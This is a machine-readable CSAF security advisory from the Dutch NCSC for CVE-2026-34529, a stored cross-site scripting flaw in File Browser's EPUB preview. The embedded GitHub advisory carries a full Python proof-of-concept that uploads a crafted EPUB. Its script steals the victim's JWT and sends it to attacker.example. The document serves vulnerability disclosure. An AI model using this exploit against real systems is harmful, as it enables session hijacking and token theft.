{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34529",
        "tracking": {
            "current_release_date": "2026-04-02T16:39:27.623933Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34529",
            "initial_release_date": "2026-04-01T01:03:22.313239Z",
            "revision_history": [
                {
                    "date": "2026-04-01T01:03:22.313239Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T01:03:27.174292Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-04-01T07:49:58.945924Z",
                    "number": "3",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T21:39:00.920378Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T21:39:03.528126Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-01T23:28:39.303836Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T23:28:41.597095Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T14:59:13.287250Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-02T14:59:15.181903Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T16:38:51.236757Z",
                    "number": "10",
                    "summary": "Unknown change."
                }
            ],
            "status": "interim",
            "version": "10"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<2.62.2",
                                "product": {
                                    "name": "vers:unknown/<2.62.2",
                                    "product_id": "CSAFPID-5982482"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "File Browser"
                    }
                ],
                "category": "vendor",
                "name": "File Browser"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34529",
            "cwe": {
                "id": "CWE-79",
                "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n  allowPopups: true,\n  allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI've crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n  <rootfiles>\n    <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n  </rootfiles>\n</container>\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\">\n  <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n    <dc:identifier id=\"uid\">poc-xss-epub-001</dc:identifier>\n    <dc:title>Security Test Document</dc:title>\n    <dc:language>en</dc:language>\n    <meta property=\"dcterms:modified\">2025-01-01T00:00:00Z</meta>\n  </metadata>\n  <manifest>\n    <item id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/>\n    <item id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/>\n  </manifest>\n  <spine>\n    <itemref idref=\"chapter1\"/>\n  </spine>\n</package>\"\"\"\n\n\n\nNAV_XHTML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\">\n<head><title>Navigation</title></head>\n<body>\n  <nav epub:type=\"toc\">\n    <ol><li><a href=\"chapter1.xhtml\">Chapter 1</a></li></ol>\n  </nav>\n</body>\n</html>\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head><title>Chapter 1</title></head>\n<body>\n  <h1>Security Test Document</h1>\n  <p>This document tests EPUB script execution in File Browser.</p>\n  <p id=\"xss-proof\" style=\"color: red; font-weight: bold;\">Waiting...</p>\n  <p id=\"ip-proof\" style=\"color: orange; font-weight: bold;\">Fetching IP...</p>\n  <script>\n  var out = document.getElementById(\"xss-proof\");\n  var ipOut = document.getElementById(\"ip-proof\");\n  var jwt = \"not-found\";\n  try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n  out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n  fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n    ipOut.textContent = \"Victim public IP: \" + ip.trim();\n  }).catch(function(e){\n    ipOut.textContent = \"IP fetch failed: \" + e.message;\n  });\n  var img = new Image();\n  img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n  </script>\n</body>\n</html>\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -> str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"[-] Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip('\"')\n\n\n\ndef build_epub() -> bytes:\n    \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n    buf = io.BytesIO()\n    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n        zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n        zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n        zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n        zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n        zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n    return buf.getvalue()\n\n\n\ndef main():\n    print(BANNER)\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via malicious EPUB PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost:8080 -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n  frontend/src/views/files/Preview.vue passes\n  epubOptions: { allowScriptedContent: true } to the vue-reader\n  (epub.js) component. The iframe sandbox includes allow-scripts\n  and allow-same-origin, which lets the script access the parent\n  frame's localStorage and make arbitrary network requests.\n\nimpact:\n  Session hijacking, privilege escalation, data exfiltration.\n  A low-privilege user with upload access can steal admin tokens.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Username to authenticate with\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Password to authenticate with\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Building malicious EPUB\")\n    epub_data = build_epub()\n    print(f\"      EPUB size: {len(epub_data)} bytes\")\n\n    upload_path = \"/poc_xss_test.epub\"\n    print(f\"\\n  [3] Uploading to {upload_path}\")\n    requests.delete(f\"{base}/api/resources{upload_path}\",\n                    headers={\"X-Auth\": token}, timeout=10)\n    r = requests.post(\n        f\"{base}/api/resources{upload_path}?override=true\",\n        data=epub_data,\n        headers={\n            \"X-Auth\": token,\n            \"Content-Type\": \"application/epub+zip\",\n        },\n        timeout=30\n    )\n\n    if r.status_code in (200, 201, 204):\n        print(f\"      Upload OK ({r.status_code})\")\n    else:\n        print(f\"      Upload FAILED: {r.status_code} {r.text[:200]}\")\n        sys.exit(1)\n\n    preview_url = f\"{base}/files{upload_path}\"\n\n    print(f\"\\n  [4] Done\")\n    print(f\"      Preview URL: {preview_url}\")\n    print(\"====================\")\n    print()\n    print()\n    print(f\"Open the URL above in a browser. You should see:\")\n    print(f\"  - Red text:    \\\"XSS OK\\\" + stolen JWT token\")\n    print(f\"  - Orange text: victim's public IP (via ifconfig.me)\")\n    print()\n    print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n    print(f\"The attack is silent — JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Building malicious EPUB\n      EPUB size: 1927 bytes\n\n  [3] Uploading to /poc_xss_test.epub\n      Upload OK (200)\n\n  [4] Done\n      Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n  - Red text:    \"XSS OK\" + stolen JWT token\n  - Orange text: victim's public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent — JWT theft and network exfiltration work.\n```\n\n\n<br/>\n\n### Impact\n- JWT token theft — full session hijacking\n- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token",
                    "title": "github - https://api.github.com/advisories/GHSA-5vpr-4fgw-f69h"
                },
                {
                    "category": "description",
                    "text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to version 2.62.2, the EPUB preview function in File Browser is vulnerable to Stored Cross-Site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file. This issue has been patched in version 2.62.2.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34529.json"
                },
                {
                    "category": "description",
                    "text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to version 2.62.2, the EPUB preview function in File Browser is vulnerable to Stored Cross-Site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file. This issue has been patched in version 2.62.2.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34529"
                },
                {
                    "category": "other",
                    "text": "0.00032",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.8",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is cwe data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent EPSS score, Is related to CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5982482"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-5vpr-4fgw-f69h"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34529.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34529"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5vpr-4fgw-f69h"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-5vpr-4fgw-f69h"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
                        "baseScore": 7.6,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5982482"
                    ]
                }
            ],
            "title": "CVE-2026-34529"
        }
    ]
}